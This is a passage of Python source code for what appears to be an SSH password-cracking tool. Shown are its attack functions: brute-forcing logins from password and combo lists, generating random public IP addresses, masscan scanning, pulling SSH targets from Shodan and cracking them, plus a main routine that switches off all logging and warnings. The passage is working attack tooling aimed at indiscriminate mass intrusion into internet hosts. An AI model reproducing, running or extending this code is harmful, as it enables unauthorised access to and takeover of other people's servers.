exe.submit(crack_login, host, port, opts['user'], p.rstrip()) 511 | 512 | if 'combolist' in opts: 513 | for line in opts['combolist']: 514 | try: 515 | l = line.split(':') 516 | exe.submit(crack_login, host, port, l[0].rstrip(), l[1].rstrip()) 517 | except IndexError: 518 | log('combo list format: :', 'error') 519 | 520 | if opts['exit']: 521 | for x in as_completed(futures): 522 | if x.result() == SUCCESS: 523 | os._exit(SUCCESS) 524 | 525 | return 526 | 527 | 528 | def gen_ipv4addr(): 529 | try: 530 | ip = ipaddress.ip_address('.'.join(str( 531 | random.randint(0, 255)) for _ in range(4))) 532 | if not ip.is_loopback and not ip.is_private and not ip.is_multicast: 533 | return str(ip) 534 | except: 535 | pass 536 | 537 | return 538 | 539 | 540 | def crack_single(): 541 | host, ports = list(opts['targets'].copy().items())[0] 542 | run_threads(host, ports) 543 | 544 | return 545 | 546 | 547 | def crack_multi(): 548 | try: 549 | with open(opts['targetlist'], 'r', encoding='latin-1') as f: 550 | with ThreadPoolExecutor(opts['hthreads']) as exe: 551 | for line in f: 552 | host = line.rstrip() 553 | if ':' in line: 554 | host = line.split(':')[0] 555 | ports = [p.rstrip() for p in line.split(':')[1].split(',')] 556 | else: 557 | ports = ['22'] 558 | exe.submit(run_threads, host, ports) 559 | except (FileNotFoundError, PermissionError) as err: 560 | log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error') 561 | 562 | return 563 | 564 | 565 | def crack_random(): 566 | ptargets = [] 567 | 568 | for _ in range(opts['random']): 569 | ptargets.append(gen_ipv4addr()) 570 | ptargets = [x for x in ptargets if x is not None] 571 | 572 | opts['masscan_opts'] += ' ' + ' '.join(ptargets) 573 | 574 | return 575 | 576 | 577 | def crack_scan(): 578 | global opts 579 | 580 | with ThreadPoolExecutor(1) as e: 581 | future = e.submit(portscan) 582 | status(future, 'scanning sshds', pre_esc='\r') 583 | log('\n') 584 | targets = grep_service(future.result()) 585 | num_targets = len(targets) 586 | 587 | if num_targets > 0: 588 | opts['targetlist'] = 'sshds.txt' 589 | log_targets(targets, opts['targetlist']) 590 | log(f'found {num_targets} active sshds', 'good') 591 | with ThreadPoolExecutor(1) as e: 592 | future = e.submit(crack_multi) 593 | status(future, 'cracking found sshds\r') 594 | log('\n') 595 | else: 596 | log('no sshds found :(', _type='warn') 597 | 598 | return 599 | 600 | 601 | def check_banners(): 602 | try: 603 | with open(opts['targetlist'], 'r', encoding='latin-1') as f: 604 | with ThreadPoolExecutor(opts['bthreads']) as exe: 605 | for line in f: 606 | target = parse_target(line) 607 | host = ''.join([*target]) 608 | ports = target.get(host) 609 | for port in ports: 610 | f = exe.submit(grab_banner, host, port) 611 | except (FileNotFoundError, PermissionError) as err: 612 | log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error') 613 | 614 | return 615 | 616 | 617 | def crack_shodan(targets): 618 | log(f'w00t w00t, found {len(targets)} sshds', 'good') 619 | log('cracking shodan targets', 'info') 620 | opts['targetlist'] = 'sshds.txt' 621 | log_targets(targets, opts['targetlist']) 622 | log(f'saved found sshds to {opts["targetlist"]}', 'info') 623 | log('cracking found targets', 'info') 624 | crack_multi() 625 | 626 | return 627 | 628 | 629 | def shodan_search(): 630 | global opts 631 | global stargets 632 | 633 | s = opts['sho_opts'].split(';') 634 | if len(s) != 3: 635 | log('format wrong, check usage and examples', 'error') 636 | opts['sho_str'] = s[0] 637 | opts['sho_page'] = s[1] 638 | opts['sho_lim'] = s[2] 639 | 640 | try: 641 | api = shodan.Shodan(opts['sho_key']) 642 | res = api.search(opts['sho_str'], opts['sho_page'], opts['sho_lim']) 643 | for r in res['matches']: 644 | if len(r) > 0: 645 | banner = r['data'].split('\n')[0] 646 | if opts['verbose']: 647 | log(f'found sshd: {r["ip_str"]}:{r["port"]}:{banner}', 'good', 648 | esc='\n') 649 | stargets.append(f'{r["ip_str"]}:{r["port"]}:{banner}\n') 650 | except shodan.APIError as e: 651 | log(f'shodan error: {str(e)}', 'error') 652 | 653 | return 654 | 655 | 656 | def is_root(): 657 | if os.geteuid() == 0: 658 | return True 659 | 660 | return False 661 | 662 | 663 | def main(cmdline): 664 | sys.stderr.write(BANNER + '\n\n') 665 | check_argc(cmdline) 666 | parse_cmdline(cmdline) 667 | check_argv(cmdline) 668 | futures = deque() 669 | 670 | log('game started', 'info') 671 | try: 672 | if not opts['targetlist'] and opts['targets']: 673 | log('cracking single target', 'info') 674 | crack_single() 675 | elif len(opts['targetlist']) > 0 and '-b' not in cmdline: 676 | with ThreadPoolExecutor(1) as e: 677 | future = e.submit(crack_multi) 678 | status(future, 'cracking multiple targets\r') 679 | log('\n') 680 | elif '-m' in cmdline: 681 | if is_root(): 682 | if '-r' in cmdline: 683 | log('scanning and cracking random targets', 'info') 684 | crack_random() 685 | crack_scan() 686 | else: 687 | log('scanning and cracking targets', 'info') 688 | crack_scan() 689 | else: 690 | log('get r00t for this option', 'error') 691 | elif '-s' in cmdline: 692 | with ThreadPoolExecutor(1) as e: 693 | future = e.submit(shodan_search) 694 | status(future, 'searching for sshds via shodan\r') 695 | log('\n') 696 | if len(stargets) > 0: 697 | crack_shodan(stargets) 698 | else: 699 | log('no sshds found :(', 'info') 700 | elif '-b' in cmdline: 701 | log('grabbing banners', 'info', esc='\n') 702 | check_banners() 703 | except KeyboardInterrupt: 704 | log('\n') 705 | log('you aborted me', _type='warn') 706 | os._exit(SUCCESS) 707 | finally: 708 | log('game over', 'info') 709 | 710 | return 711 | 712 | 713 | if __name__ == '__main__': 714 | logger = logging.getLogger() 715 | logger.disabled = True 716 | logger.setLevel(100) 717 | logger.propagate = False 718 | logging.disable(logging.ERROR) 719 | logging.disable(logging.FATAL) 720 | logging.disable(logging.CRITICAL) 721 | logging.disable(logging.DEBUG) 722 | logging.disable(logging.WARNING) 723 | logging.disable(logging.INFO) 724 | if not sys.warnoptions: 725 | warnings.simplefilter('ignore') 726 | 727 | main(sys.argv[1:]) 728 | 729 | --------------------------------------------------------------------------------